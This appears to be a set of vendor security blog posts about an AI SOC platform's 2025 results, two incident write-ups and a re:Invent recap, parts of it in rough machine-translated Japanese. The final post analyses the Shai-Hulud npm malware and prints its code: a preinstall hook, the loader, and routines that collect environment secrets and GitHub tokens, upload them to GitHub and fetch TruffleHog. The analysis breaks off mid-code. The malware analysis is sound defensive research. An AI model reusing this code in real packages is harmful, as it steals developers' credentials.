先を行くための洞察

2025 turned “normal” security operations into hard mode. Cloud sprawl continued, non-human identities multiplied, attacks grew faster, and third-party dependencies became inseparable from daily risk. For SOC teams, the job had to not only investigate more, but they also had to understand more.

Verizon’s 2025 DBIR noted that ransomware was present in 44% of breaches and increased 37% compared to the prior year; it also calls out that third-party involvement doubled from 15% to 30%.

Against that backdrop, 2025 was a foundational year for Exaforce. We announced $75M in Series A funding to accelerate the Agentic SOC Platform and its multi-model approach, blending LLMs with semantic and behavioral models. We also launched the full-lifecycle AI SOC platform and introduced Exaforce MDR, bringing agentic automation plus expert analysts across detection, triage, investigation, and response. We also over doubled the team from 50 to 110 employees (and we’re hiring).

2025 was a foundational year for us, and we wanted to reflect on aggregated customer statistics and key milestones before moving into the themes that mattered most for defenders.

By the numbers across Exaforce customer environments

Across customers (including our own champagne environment), Exaforce processed 79 billion events and over 1.29M alerts. Every event processed is an opportunity to learn and improve our platform for our customers.

Noise reduction was the dominant story, measured by the reduction in alerts that require human intervention.

• 97% of alerts required no analyst investigation: only 3% of alerts (41K out of 1.29M) required manual investigation; the remainder were auto-dispositioned.
• 98% of alerts were benign or false positives after human review, highlighting the noise in the industry.
• Exabots achieved a 98% accuracy rate, defined as the ratio of AI recommendations that matched outcomes confirmed through human review across all validated alerts.

In this time period, we saw a marked increase in the level of trust in the recommendations and investigations of Exabots as the above human level of accuracy was verified, drastically improving MTTI for those customers.

What the platform labeled as the most common threat types

The top three threat types in the dataset were:

1. Initial Access
2. Credential Access
3. Execution

This aligns with what most SOCs feel operationally, that investigations typically start with identity misuse, initial access signals, and scattered activity that needs correlation.

Where false positives showed up by source

False positive rates vary heavily by source and environment. In the dataset (excluding low-count finding sources), the highest false positive rates were listed for:

1. CWPPs
2. SIEMs
3. Native cloud detection tools

The lowest false positive rates (again excluding low-count sources) were:

1. Email security
2. EDR
3. Identity tools

Overall, the rankings suggest that sources designed to cast a wide net, such as CWPPs, SIEMs, and native cloud detection tools, tend to produce more false positives, likely due to their broader telemetry and more generalized detection logic. By contrast, email, EDR, and identity tools skew lower in false positives (FP), reflecting more contextual or control-point-specific signals. Email in particular benefits from including reported alerts (e.g., user-reported phishing), which can meaningfully reduce false positive rates, though it still does not eliminate them.

Cloud telemetry dominance was not subtle

In tenants with AWS, AWS dominated telemetry, accounting for 67% of events on average and over 90% in many environments. That matters because most traditional SIEM and log aggregation architectures were built around the assumption that you can index and retain the majority of what you ingest. AWS breaks that model. Cloud logs are high volume, high cardinality, and tied to short-lived resources, so “ingest everything” quickly becomes “pay a lot to store noise.” Even when you can afford it, the analytic payoff often lags because the platform is busy moving and indexing data instead of producing investigation-ready context.

Identity sprawl is real, and non-human identities are the multiplier

Across the dataset, we observed 14.5 non-human identities for every human identity. That’s meaningfully lower than the 50:1 ratio reported in at least some industry discussions, but still large enough to materially affect correlation and triage workflows.

At 14.5:1, non-human identities change the shape of investigations. If your alert context ends at “user X,” you will miss the majority of identity-driven paths that actually execute in cloud environments.

The SOC workflow started to be re-architected in 2025

A useful way to describe 2025 is that teams stopped treating detection engineering, alert triage, investigation, threat hunting, and response as separate tiers. More teams started treating them as a single system that needs to work end to end, because the handoffs between stages have become the bottleneck.

Legacy, workflow-driven tools struggle to keep up with cloud-scale telemetry and identity sprawl, so “process” cannot compensate for missing context or slow correlation. Exaforce’s approach this year was to make that system-level shift explicit by applying agentic automation across the entire SOC lifecycle, not only Tier 1 triage.

If you want the conceptual framing behind this change, we published three posts that outline how the problem shows up in daily operations across detections, triage, and investigations. The throughline is consistent. If detections do not carry business and identity context forward into investigation, and if investigation does not hand off cleanly into response, speed improvements stall out even when tooling looks modern on paper.

What “full-lifecycle” looks like in practice

Customer outcomes are easiest to summarize in the language SOC teams use when something genuinely changes their day to day. One customer message captured the shift to working with an agentic SOC platform bluntly, in a positive way. Another customer told us, “I use Exaforce like ... 100x a day” and “You’re the number 1 tool in my arsenal.” Full-lifecycle only matters when it shows up in the work itself, meaning fewer investigations that go nowhere and faster, more confident answers when something is real.

You can see that in the customer stories. LottieFiles reported saving 6 days and 4 hours of person-hours every 30 days and an 80% reduction in investigation time while building a full-lifecycle SOC that spans code and cloud. Fuze reported 75% of AWS GuardDuty alerts automatically triaged as false positives and a 94% reduction in MTTI as they built a secure stablecoin platform with Exaforce MDR. Those are the measurable outcomes, but the part that stays with our team is what sits behind them, the moments where a real attack gets surfaced and blocked before it turns into a much worse week for our customers. That work is why we build, and why we keep pushing to make defenses more reliable for the teams that depend on them.

Extended research for better defense

This year, we published research and incident analysis across supply chain and cloud identity attack paths, including:

• tj-actions analysis
• s1ngularity supply chain attack
• npm wallet hijack patterns
• Google App Script abuse (“Ghost in the Script”)
• AWS CloudControl API as an attack tool
• historical enumeration (“log rings”)

These topics represent recurring patterns SOC teams now have to treat as normal work, including investigating third-party behavior, validating whether identity actions are expected, and quickly determining blast radius across cloud and code assets.

This also connects back to industry-level trends. Verizon’s DBIR explicitly calls out the increase in third-party involvement in breaches from 15% to 30%. It’s been clearer than ever that you cannot confine investigation to assets you own. The SOC has to reason about integrations, automation, and dependencies as first-class entities.

Third-party recognition and trust

‍

2025 also included external validation of Exaforce’s approach. In the 2025 GigaOm Radar for SecOps Automation, Exaforce was recognized as a Leader and Outperformer, with GigaOm comparing 19 vendors and highlighting strengths such as threat correlations, multi-model detection, and a “pre-LLM data layer” that normalizes and enriches data before analysis.

Beyond that report, we were also recognized across several industry lists and programs that reflect both product momentum and market relevance.

• AWS Generative AI Accelerator
• Leader in the Latio AI Security Market Report
• The Top 50 Software Companies of 2025
• 2025 Intellyx Digital Innovator Award
• 4 Startups to Watch in AI-Driven Cybersecurity
• 10 Software Companies to Watch in 2026
• 8 Gartner mentions

We also strengthened our compliance posture and publicly documented key milestones, including HITRUST certification. Alongside HITRUST, our compliance program includes SOC 2 Type 2, ISO 27001 certification, GDPR alignment, PCI DSS, and HIPAA support.

What we are building toward

2025 reinforced a hard truth for security operations. The constraints that define the job are not going away. Cloud telemetry continues to grow, identity continues to sprawl, and third-party dependencies keep expanding the scope of what a SOC has to understand. In that environment, the winning strategy is not to ask analysts to move faster through the same volume of noise. It is to change the default outcome of the work so that the majority of alerts are resolved with defensible automation, and the minority that remain come with investigation-ready context.

As we head into 2026, our focus stays the same. We will keep investing in full-lifecycle capabilities that reduce wasted investigation time, speed up high-confidence decisions, and connect detections to response with fewer brittle handoffs. We are grateful for the customers who push us with real-world feedback and real constraints, and we are committed to building technology and services that help SOC teams stay ahead without having to scale headcount at the same rate as telemetry.

Security incidents rarely arrive neatly labeled.

In modern cloud and SaaS environments, the most difficult situations are not obvious attacks. They appear to be legitimate actions taken with good intentions, but are executed dangerously, manifesting in unexpected ways through trusted identities and from places no one anticipated. These are the moments where even experienced security teams pause, because the signals are real, but the intent is unclear.

This is a real incident we experienced internally at Exaforce. It is anonymized, accurate, and representative of the challenges security teams face every day.

Rapid detection and triage

Because we drink our own champagne, our environment ingests live data sources, and a high severity P1 alert surfaced in the platform in real time. Exaforce immediately correlated the underlying signals into a single, aggregated incident, and our MDR process engaged as designed. The alert was triaged within the SLA.

At that moment, the observable telemetry warranted a “treat as breach until proven otherwise” posture. The signals were consistent with compromise, even though we did not yet have enough context to determine whether the activity was malicious or unexpected (but legitimate) third-party behavior.

What the platform observed before any human investigation

The activity involved a non-human identity tied to a third-party SaaS integration. Specifically, a GitHub App token was used to generate a JWT and authenticate access to clone content from our public facing documentation repository to an unknown laptop. Historically, this identity’s behavior was consistent and predictable; that baseline changed abruptly. While this did not involve production code, the pattern is concerning and we are treating it accordingly. Luckily, we maintain strong controls to prevent access to production systems and sensitive production code, and those safeguards are designed to ensure an event like this cannot escalate beyond non-public facing repositories.

The platform observed several deviations occurring together over a short period of time:

• The identity began operating in a new country
• The source network shifted to a residential Internet service provider
• The user agent changed to a workstation-based Git client
• Multiple full repository clone operations occurred in quick succession
• At the same time, the same identity continued operating normally from its usual cloud environment

Individually, none of these signals is rare. Geographic anomalies are noisy. Network changes happen. Repository access can be legitimate. Many security tools alert on these events in isolation, and most teams learn to tune them out. What mattered here was concurrency.

The same identity was active in two different environments at the same time. That overlap created an impossible travel scenario for a bot identity and changed the risk assessment.

Why traditional detection approaches struggle in situations like this

In many environments, this activity would have generated multiple independent alerts:

1. A geographic anomaly alert
2. A network or autonomous system number (ASN) change alert
3. A repository access alert
4. Possibly a third-party integration alert

Each alert would be separate and isolated, with different timestamps and limited context. An experienced analyst would need to manually correlate the signals, reconstruct a timeline, and determine whether the activity represented coincidence, misconfiguration, or compromise.

That process takes time. Time is exactly what attackers rely on, and it is also what legitimate-but-unexpected activity consumes.

How Exaforce handled it differently

From this group of signals, Exaforce generated one meaningful incident.

Identity behavior as the starting point

The identity involved was classified as a bot, not a human. Bot identities do not travel, use residential broadband, switch operating systems, or behave interactively. When those patterns appear, they represent a meaningful deviation from expected behavior. This behavioral deviation alone was sufficient to escalate the incident.

Automatic timeline reconstruction

The Exaforce Agentic SOC Platform automatically reconstructed the sequence of events, distinguishing normal, automated activity originating from cloud infrastructure from anomalous, manual activity coming from a residential network, and identifying the temporal overlap that proved simultaneous usage. This reconstruction required no manual queries, dashboards, or log stitching; the timeline was available immediately as part of the incident context.

AI-assisted triage with human clarity

The platform evaluated historical baselines, identity type, access patterns, and environmental context together and reached a straightforward conclusion aligned with how an experienced analyst would reason about the situation: it should be treated as a breach until proven otherwise. That framing allowed the team to act decisively without waiting for perfect certainty.

How the Exaforce team responded

Because the incident was clearly scoped and contextualized, the response was immediate and measured. Within a short window, the P1 incident was reviewed, the managed detection and response (MDR) team engaged directly, the third-party integration was suspended, administrative authentications were revoked, and the vendor’s security team was contacted with forensic evidence; the situation was resolved within hours. The team did not need to debate whether the signals were related, because the platform had already done that work.

The outcome, and why it still matters

After a joint investigation with the vendor, we confirmed the activity was not a breach but a well-intentioned and unsafe support action. An SRE manually cloned our repository to a personal laptop to recover from a vendor-side bug, using a non-human identity to do so. While the intent was to act quickly and restore service, using a bot identity and performing customer code access outside the vendor’s normal production infrastructure, without prior customer notification, was inappropriate and created a valid breach indicator.

In this specific case, the repository contained public-facing platform documentation, so the direct impact was minimal. However, the same pattern applied to a repository containing internal architecture documentation, runbooks, or sensitive data could have had serious consequences. The broader lesson is about how easily legitimate, time-pressured decisions can become indistinguishable from compromise when controls and context are missing, and why this should not happen, even in difficult situations.

From desperate, ambiguous signals to decisive detection

This incident was not a breach, but the signals were real, and the risk was real. If your tools cannot make that distinction quickly and confidently, you are relying on luck and human heroics. The Exaforce platform understood what was happening, why it mattered, and how urgent it was in real time. That is the difference between reacting and being ready.

If you want to see how Exaforce aggregates complex signals into a single, coherent incident, book a demo with Exaforce.

初めての AWS re: Invent での経験は忘れられないものでした。その規模と範囲はとてつもなく大きく、他の多くの初めての人も同じ反応を示しました。どこから始めて、どこで時間を過ごすかをどうやって決めるのですか？シンプルにして、基調講演、セッション、そして検知とインシデント対応に関するプレゼンテーションに集中することにしました。

当然のことながら、Amazonはいくつかの大きな発表を行いました。 Bedrockの新しいAI機能、 より多くのサービスに組み込まれたよりスマートなアシスタント、 より高速なチップとより大きなインスタンス 相手に投げつけたデータをすべて処理するためですステージ上のストーリーはとても明確でした。それをつなげることができれば、未来はここにある。

最も貴重な会話はステージでは行われなかった

そのすべてが刺激的でしたが、今週の最も役に立ったのは、メインの基調講演とはほとんど関係ありませんでした。インシデント対応のミートアップで小さなテーブルを囲んで座り、実際にこのようなことに耐えなければならない人々の話を聞いていました。

そのテーブルの周りには、10年以上の経験を持つAWSの上級インシデントレスポンダー、セキュリティチームに2人だけでマルチクラウドを運営している連邦請負業者、SplunkとSentinelを両立させているヨーロッパのグループ、そしてパブリックトラッキングAPIを悪用から保護しようとしているカナダの小包運業者がいました。そして、話を聞き、質問をし、Exaforceやこの分野で私たちが行っていることに対する私の興奮を抑えようとしていました。

開業医が実際に望んでいること

私が驚いたのは、彼らの本当のウィッシュリストがアナウンスと比べてどれほどシンプルかということでした。彼らは魔法なんか欲しくない。彼らは実際に必要なログを知りたがっています。彼らは、偽の「重大な」アラートではなく、実際のインシデントを追いかけていることを確信したいと思っています。そして、生産を誤って停止させることなく、より迅速に行動できる自動化を求めています。

AWS の回答者は、仕事で本当に重要なことを説明してくれました。クラウドトレイル管理イベント。正しい種類の S3 ロギングにより、何がバケットに残り、誰がそれを取ったかがわかります。RDS 監査ログは、データが機密である場合にログに記録します。GuardDuty と Security Hub が一番上にあり、本当に何かがおかしいときだけ手を挙げるように調整されています。VPC フローログはネットワークが壊れているときには便利ですが、ボードが何か漏洩したかどうかを尋ねるときにはほとんど役に立ちません。

自動化 (まだ人間が関わっている)

オートメーション側でも、パターンは同じでした。エージェントとランブックのアイデアは誰もが気に入っていましたが、生産を単独で分離するシステムを望んだ人は誰もいませんでした。コンフォートゾーンはループ内の人間です。

プラットフォームにコンテキストを引き出し、考えられる根本原因を突き止め、具体的なアクションを提案させてください。このキーを取り消してください。その IP アドレスをブロックします。このインスタンスを検疫セキュリティグループに移動します。次に、ユーザーに承認または拒否させてください。速くてリバーシブル。

現実世界のセキュリティ問題、AIの誇大宣伝は不要

小包運送業者の話は本当に心に響きました。現在の最大の問題は、エンドポイント上のマルウェアではありません。組織化されたアクターが、完全に合法的な公開 API を駆使して、実在の人物のプロフィールを作成しているのです。

プライバシー、製品、セキュリティが交差する場所にあります。すべてをシャットダウンすると、カスタマーエクスペリエンスが損なわれます。何もしなければ、デリケートな行動パターンを無料で配布することになります。その会話は、新しいチップやより大きなモデルとは何の関係もありませんでした。ポスチャ、アプリケーション設計、そして少人数のチームで現実的に監視して実施できることについてでした。

どこでも同様の制約に直面しているビルダー

これらすべてに加えて、私はその一員になることができて光栄でした AWS ジェネレーティブ AI アクセラレータプログラム。つまり、世界のさまざまな場所で建築をしている他の創設者やチームと出会う必要がありました。

あるチームは、AIを使って倉庫ロボットの艦隊を調整し、何かが壊れたらリアルタイムでルートを再計画しています。もう 1 つは、セールスコール、メールスレッド、製品テレメトリからシグナルを引き出して市場開拓インテリジェンスを構築し、収益チームがどの取引が重要かを推測しなくて済むようにすることです。別のグループでは、工場現場の電話からのビデオフィードを使用して、産業機器の AI 支援による品質検査に取り組んでいます。

まったく異なる市場。同じパターン。小さなチーム、野心的な目標、そして人員数をはるかに超えるレバレッジの必要性。

大きな打ち上げと廊下での会話の対比を見ることが本当の教訓でした。ステージでは、無限の規模と新しいコアサービスについて耳にします。ミートアップでは、2人、40のアカウント、絶え間ないチケットの流れの中で、基本をつなぐのがいかに難しいかを耳にします。

どちらの話も本当です。両者のギャップは、私たちのような企業が生きる場所です。

これがエクサフォースにとって何を意味するのか

にとって エクサフォース、そのギャップは非常に明確です。私たちの仕事は、お客様がすでに使用しているすべてのツールを交換することではありません。プラグを差し込むことです。 実際に重要なログやシグナルにそして、チームが最初に何を気にすべきかを決めるのに役立ちます。使用 AI によるトリアージの自動化と優先順位付け、履歴から実際のコンテキストを呼び戻し、チームがすでに AWS や SIEM でどのように作業しているかに応じた安全なアクションを提案します。人間がコントロールできるようにしつつ、10 倍のリーチを与えましょう。

正しい理由で、re: Inventを活気づけたままにしておく

Re: Inventを元気に去ったけど、発表があったからじゃなくて。これらすべての新機能の上に実用的なシステムを構築しようとする人々でいっぱいの部屋を見たので、ワクワクした気持ちで去りました。セキュリティ分野のビルダー。ロボット工学のビルダー。市場開拓中のビルダー。ほとんど理解できない業界のビルダー。

これが現在のエコシステムの状態だとしたら、ファイアホースをチームが実際に使用できるものに変えることができる人にとって、来年は良い年になるでしょう。

‍

2025年11月3日、Exaforceは、顧客のGoogle Workspaceアカウントを侵害しようとする組織的な試みを検出しました。この一連の流れは、12:06 UTC にブダペストの商用プロキシからのログインが失敗したことから始まり、数時間後、シカゴの Linode サーバーからログインが成功し、ユーザーがアッシュバーンの通常の場所から同時にアクティブになったときにエスカレートしました。

シカゴへのログインから数分以内に、攻撃者は標準的なアカウント乗っ取りアクションによって永続性を確立しました。このようなシナリオでは、従来のルールベースのツールではこれらのシグナルをつなぎ合わせるのに苦労します。プロキシベースのインフラストラクチャ、異常な ASN、不可能な移動、再認証イベント、頻繁に発生する機密性の高い変更を関連付けることができる静的ルールを構築するには、非常に複雑なロジックと絶え間ない手動チューニングが必要になります。Exaforce は、アナリストがまとめるのに何時間もかかるようなシグナルを自動的に相関させることで、その負担を排除しました。

攻撃の概要と、ExaforceのエージェントSOCプラットフォームがどのようにしてこの標的型攻撃を特定し、相関させ、最終的に阻止するのに役立ったかを説明します。

エグゼクティブサマリー

アタックウィンドウ: 2025年11月3日 (UTC 12:06-18:11)

初期ベクトル: 商用プロキシ出口ノードからのログインに失敗しました

インフラストラクチャ: 複数の商用プロキシサービス (iPRoyal、MarsProxies、NodeMaven、ProxySeller、Webshare) と Linode クラウドサーバー

エクサフォース・ディテクション: 出張不能、ASN の異常、慣れていない IP インフラストラクチャ、機密処理が実行された

結果: 攻撃者が 2 回認証に成功し、復旧メールを変更し、アカウントパスワードをリセットしました

ユーザーベースライン: 通常の活動はアッシュバーンとアムステルダムから発生し、攻撃が発生したシカゴやブダペストに匹敵するものはありません

修復: 顧客が調査を完了するまでの間、アカウントを一時的に無効にします。

攻撃の構造

1。初期偵察とアクセス試行の失敗

12:06 UTC-ブダペスト (商用プロキシ)

悪質なアクティビティの最初の兆候は、ブダペストの商用プロキシ出口ノードでログインに失敗したことが原因でした。使用されているインフラストラクチャは複数のプロキシサービスに関連しており、攻撃者が実際の位置を隠していたことが分かります。この段階ではアクセスは得られませんでした。

2。攻撃者は再グループ化し、有効な認証情報を取得します。

12:06-17:39 UTC-5.5 時間の沈黙

ログインに失敗した後、攻撃者はアクティビティを一時停止しました。このウィンドウは認証情報を収集する手法と一致しており、被害者の Google Workspace パスワードを盗もうとするフィッシング詐欺が関与している可能性があります。

3。不正アクセスが発生しました

17:39 UTC — シカゴ (Linode クラウドサーバー)

攻撃者は、正当なユーザーがアッシュバーンで活動している間に、シカゴのLinodeクラウドサーバーを使用して認証に成功しました。これにより、旅行が不可能という明確なシナリオが生まれ、最初のアクセスが可能になった瞬間が訪れました。Exaforceの自動相関により、この状況は即座に高まりました。これとは対照的に、従来のツールでは、地理やASN、インフラストラクチャの異なる異常を結び付けるには、手動によるルールチェインやアナリストによる調査が必要でした。

この認証が成功すると、VPN 出口ノードから「reauth」ログインとして記録される最も重大度の高いシグナルが発生しました。これは、攻撃者が有効なセッション認証情報を所有していて、アカウントを完全に乗っ取ったことを示唆しています。

4。パーシステンスの確立

17:43 UTC-リカバリメールが変更されました

攻撃者はすぐにアカウントの復旧メールを変更し、アカウントのリセットフローを制御対象の受信トレイにリダイレクトしました。

17:45 UTC-パスワードが変更されました

2 分後、アカウントパスワードがリセットされました。この時点で、攻撃者は正規のユーザーを Google Workspace アカウントから完全にロックアウトしていました。

フルテイクオーバーまでの時間: 6 分

6。ローテーション型プロキシインフラストラクチャを使用した継続的なアクセス

18:11 UTC-ブダペスト (2 番目のプロキシ)

乗っ取りから約30分後、攻撃者は今度は別のブダペストのプロキシサービスから再度認証しました。これにより、新たに設定したパスワードが使用されていることが確認され、匿名化されたインフラストラクチャの意図的なローテーションが実証されました。これは、従来のツールでは通常シングルイベントルールを回避するもう1つのシナリオです。

7。暴露期間と潜在的な影響

UTC 17:39-18:11 の間、攻撃者はユーザーのGmail、ドライブ、連絡先、カレンダー、SaaSインテグレーション、OAuth接続サービスにアクセスして活動しました。この期間中のデータ漏洩または改ざんの程度については、現在調査中です。

8。現在の状況と対応

アカウントは封じ込められ、現在いくつかの対応手順が進行中です。アカウントはこれ以上利用できないように一時的に停止されました。正当な所有権を確認するため、ユーザーによる帯域外検証が行われています。管理者はメール転送ルール、OAuth トークン、ドライブアクティビティを確認して、永続化メカニズムやデータアクセスを特定しています。安全な認証を回復するために、監視下でのパスワードと MFA のリセットが行われています。最後に、権限のないセッション中に行われたすべてのアクションが調査され、影響の全範囲が特定されます。

対応と修復

調査とお客様への通知

ExaforceのMDRアナリストは、アカウントの重大な変更を検出すると、すぐに相関シグナルの調査を開始しました。プラットフォームの自動検出およびエンリッチメント機能により、包括的なエビデンスパッケージが数分以内に作成され、人間による分析が加速され、全体的な影響を抑えた迅速で的を絞ったアクションが可能になりました。

学んだ教訓

この実際のアカウント乗っ取りは、自動化されたコンテキスト認識型のセキュリティ運用の重要性を示しています。プロキシ回避、2段階認証バイパス、迅速な実行を組み合わせた最新の攻撃は、同様に高度な防御メカニズムを必要としています。

Exaforceの自動検出は、数分以内に脅威を特定し、一見異なるシグナルを首尾一貫した攻撃ストーリーに相関させ、攻撃者が永続的なアクセスを確立したりデータを漏洩したりする前に封じ込めを実行しました。これは、大規模なカスタムルールエンジニアリングなしでは従来のツールでは検出が困難だった作業です。IDが新たな境界となっている時代において、Exaforceは、最も高度なアカウント侵害の試みからも保護するために必要な自動警戒を提供します。

2025年11月24日、合気道セキュリティは以下をリリースしました 記事 現在、Shai-Huludと呼ばれている脅威アクターからの悪意のあるパッケージの新しいバッチについて。悪意のあるコードは、そのコードが存在するローカルホストから認証情報を収集しようとします。次に、マルウェアはその認証情報を使用して、ユーザーの認証情報マネージャーから他の認証情報を収集しようとします。すべての出力は一般に公開されます。 GitHub リポジトリーと、都合よく説明してくれた」Sha1-フルド: ザの 二番目 来る。」

最初に判明したターゲットはZapierで、ENS、AsyncAPI、PostHog、Postman、その他のベンダーが後に確認されました。の引用によると、全体で492のパッケージが侵害され、月間ダウンロード数は合計で1億3,200万回にのぼります。 合気道。

マルウェア初期化

マルウェアはライブラリのリポジトリの2つの部分に取り込まれます。最初の部分はマルウェアのローダーで、内部に保存されていました。 setup_bun.js。この悪質なコードは、ライブラリが読み込まれて実行されるときに読み込まれます。 bun_environment.js、実際の悪意のあるコードを含む非常に難読化されたスクリプト。

悪意のあるスクリプトがライブラリに取り込まれるように、インストール前のスクリプトとしてpackage.jsonファイルに含まれていました。そうすれば、ライブラリに何か問題が発生する前に、悪質なコードが実行されてしまいます。

{
  "name": "asyncapi-utility",
  "version": "1.0.0",
  "bin": { "asyncapi-utility": "setup_bun.js" },
  "scripts": {
    "preinstall": "node setup_bun.js"
  },
  "license": "MIT"
}

マルウェアが使用しているようです パン 悪質なコードを実行するため、 _パン JS スクリプトの接尾辞。 setup_bun.js bun がインストールされているかどうかを確認し、インストールされていない場合は、で提供されているインストールスクリプトを使用してツールをインストールします bun.sh。

let bunExecutable;

  if (isBunOnPath()) {
    // Use bun from PATH
    bunExecutable = 'bun';
  } else {
    // Check if we have a locally downloaded bun
    const localBunDir = path.join(__dirname, 'bun-dist');
    const possiblePaths = [
      path.join(localBunDir, 'bun', 'bun'),
      path.join(localBunDir, 'bun', 'bun.exe'),
      path.join(localBunDir, 'bun.exe'),
      path.join(localBunDir, 'bun')
    ];

    const existingBun = possiblePaths.find(p => fs.existsSync(p));

    if (existingBun) {
      bunExecutable = existingBun;
    } else {
      // Download and setup bun
      bunExecutable = await downloadAndSetupBun();
    }
  }

すると、お団子が走ります bun_environment.jsこれにより、すべての悪質なタスクが実行されます。

const environmentScript = path.join(__dirname, 'bun_environment.js');
  if (fs.existsSync(environmentScript)) {
    runExecutable(bunExecutable, [environmentScript]);
  } else {
    process.exit(0);
  }

ザ・バッド・バン

bun_environment.js は、ほぼ10MBのJSコードを含む非常に大きなファイルです。このコードは非常に難読化されており、変数や関数名などのコード要素の名前が HEX 値に変更されているようです。このコードには、オブジェクトの名前を HEX から人間が読める形式に変換する関数もあります (ファンクション a0_0x4cc3)。

var stringLookup = decodeString;

function decodeString(index) { // function a0_0x4cc3
    var arr = stringArrayGenerator();
    decodeString = function(idx) {
        idx = idx - 0x0;
        var value = arr[idx];
        return value;
    };
    return decodeString(index);
}

この関数は文字列の配列を経由します _0x259634 関数内 a0_0x1bc8には、指定された HEX 値の値が文字列で格納されます。その値には、流出リポジトリの説明 'も含まれています。シャ1-フルド:再臨.'

function a0_0x1bc8() {
    var _0x259634 = ['res', 'wXWSe', 'mVuzm', 'sendRequest', 'decorate', 'WPqdu', 'createRepo', 'CZnOV', 'RcRqY', 'shrNonce', 'xgbhH', 'oneofDecl', '\\'. Acceptable values: ', 'undeleteFolder response %j', 'mAamk', 
--snip--
'GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions', 'decimalPlaces', '{region}', 'getMaxAttempts', 'Visual Studio Code Authentication is not available. Ensure you have have Azure Resources Extension installed in VS Code, signed into Azure via VS Code, installed the @azure/identity-vscode package, and properly configured the extension.', 'DELETE /orgs/{org}/packages/{package_type}/{package_name}', 'UrEnN', 'KHPKr', 'ETSpv', 'Sha1-Hulud: The Second Coming.', 'MSsLt', 'China (Beijing)', 'ovSfH', 'icKRM', 'pickSubchannel', 'Cancelled by parent call'];
    a0_0x1bc8 = function () {
        return _0x259634;
    }

この関数を使用すると、スクリプトで難読化された文字列を解決できます。

a0_0x4cc3(0x2840) → "secretmanager.googleapis.com/Secret"
a0_0x4cc3(0xe8d)  → "<https://www.googleapis.com/auth/cloud-platform>"

コードの最後の部分はコードのメイン関数として機能します。まず、コードが CI/CD 環境で実行されているかどうかを検出し、それに応じてタスクを実行します。

async function jy1() {
    var _0x6211fe = a0_0x3f79ba;
    if (process['env']['CI'] || process['env']['CONTINUOUS_INTEGRATION'] || process['env']['GITHUB_ACTIONS'] || process['env']['GITLAB_CI'] || process['env']['CIRCLECI'])
        await aL0();
    else {
        if (process['env']['POSTINSTALL_BG'] !== '1') {
            if (_0x6211fe(0x4e2e) !== _0x6211fe(0x4e2e))
                return this['_gaxGrpc']['createStub']('service', _0xb9a24b), [_0x1307f5, _0x3e04b8, _0x47daff];
            else {
                let _0x4ff1f9 = process['execPath'];
                if (process['argv'][0x1]) {
                    if (_0x6211fe(0x492f) !== _0x6211fe(0x492f)) {
                        if (_0x5c2e2c(_0x310c70, 0x0, _0x2f8dbd), _0x44df93 == null)
                            _0x1beb91 = _0x2f466f;
                        else
                            _0x5dd733(_0x2a58f0, 0x0, 0x8);
                        return _0x12b958(new _0x76e273(_0x17bc6d), _0x413db1 + _0x4d0423['e'] + 0x1, _0x2a4ded);
                    } else {
                        Bun['spawn']([_0x4ff1f9, process['argv'][0x1]], {
                            'env': {
                                ...process['env'],
                                'POSTINSTALL_BG': '1'
                            }
                        })['unref']();
                        return;
                    }
                }
            }
        }
        try {
            await aL0();
        } catch (_0x5d9066) {
            process['exit'](0x0);
        }
    }
}

jy1()['catch'](_0x479bd => {
    process['exit'](0x0);
});

• JSON で定義されているシークレットマネージャーの認証情報を盗む _0x4b3fc6
• 環境変数から認証情報を盗む

async function aL0()
  let environmentData = {
    environment: process.env
  };
  
  // System information with hostname and user
  let systemData = {
    system: {
      platform: systemInfo.platform,
      architecture: systemInfo.architecture,
      platformDetailed: systemInfo.platformRaw,
      architectureDetailed: systemInfo.archRaw,
      hostname: os.hostname(),
      os_user: os.userInfo()
    },
    modules: {
      github: {
        authenticated: github.isAuthenticated(),
        token: github.getToken(),
        username: username
      }
    }
  };
  
  // Upload to GitHub
  let saveEnv = github.saveContents(
    'environment.json', 
    JSON.stringify(environmentData), 
    'Add file'
  );
}

• TruffleHogをダウンロードして侵害されたマシンで実行すると、保存されている認証情報が見つかります。

async ['getLatestRelease']() {
    var _0x3e5310 = a0_0x3f79ba;
    let _0x2b4de5 = await fetch('<https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest>');
    if (!_0x2b4de5['ok'])
        throw Error('Failed\\x20to\\x20fetch\\x20latest\\x20release:\\x20' + _0x2b4de5['status']);
    return _0x2b4de5['json']();
}

['selectAsset'](_0x285891) {
    var _0x167fde = a0_0x3f79ba;
    let _0x393e83 = a0_0x44bdb7(),
        _0x451906 = this['normalizeArch'](a0_0x51195d()),
        _0x4797e8 = [];
    
    if (_0x393e83 === 'win32')
        _0x451906['forEach'](_0x40c564 => _0x4797e8['push'](_0x40c564 + '.exe')),
        _0x4797e8['push']('.exe', 'windows');
    else {
        if (_0x393e83 === 'darwin')
            _0x451906['forEach'](_0x1b7a2d => _0x4797e8['push'](_0x1b7a2d + '.darwin', _0x1b7a2d + '.macos')),
            _0x4797e8['push']('darwin', 'macos');
        else
            _0x451906['forEach'](_0x299ce6 => _0x4797e8['push'](_0x299ce6 + '.linux')),
            _0x4797e8['push']('linux');
    }
    
    for (let _0x48b273 of _0x4797e8) {
        let _0x56c72a = _0x285891['find'](_0x3ce643 => _0x3ce643['name']['toLowerCase']()['includes'](_0x48b273['toLowerCase']()));
        if (_0x56c72a)
            return _0x56c72a;
    }
    
    return _0x285891['find'](_0x130168 => _0x130168['name']['toLowerCase']()['includes']('trufflehog')) ?? null;
}

['normalizeArch'](_0x5352e1) {
    var _0x3bc23e = a0_0x3f79ba;
    if (_0x5352e1 === 'x64')
        return ['amd64', 'x86_64', 'x64'];
    if (_0x5352e1 === 'arm64')
        return ['arm64', 'aarch64'];
    return [_0x5352e1];
}

async ['downloadFile'](_0x47dec5, _0x2dc003) {
    var _0x1de01c = a0_0x3f79ba;
    let _0x108997 = await fetch(_0x47dec5);
    if (!_0x108997['ok'])
        throw Error('Failed\\x20to\\x20download:\\x20' + _0x108997['status']);
    let _0x5c8e9f = a0_0x5a8722(_0x2dc003);
    if (_0x108997['body'])
        await qy1(_0x108997['body'], _0x5c8e9f);
    else
        throw Error('Response\\x20body\\x20is\\x20null');
}

async ['extractArchive'](_0x562e2f) {
    var _0x2066b4 = a0_0x3f79ba;
    let _0x5859a7 = a0_0x1acdee(_0x562e2f)['toLowerCase'](),
        _0x16ec5a = a0_0x53fe15(this['config']['cacheDir'], 'extract');
    
    if (await a0_0x2cc727['mkdir'](_0x16ec5a, {'recursive': !0x0}),
    _0x5859a7['endsWith']('.zip'))
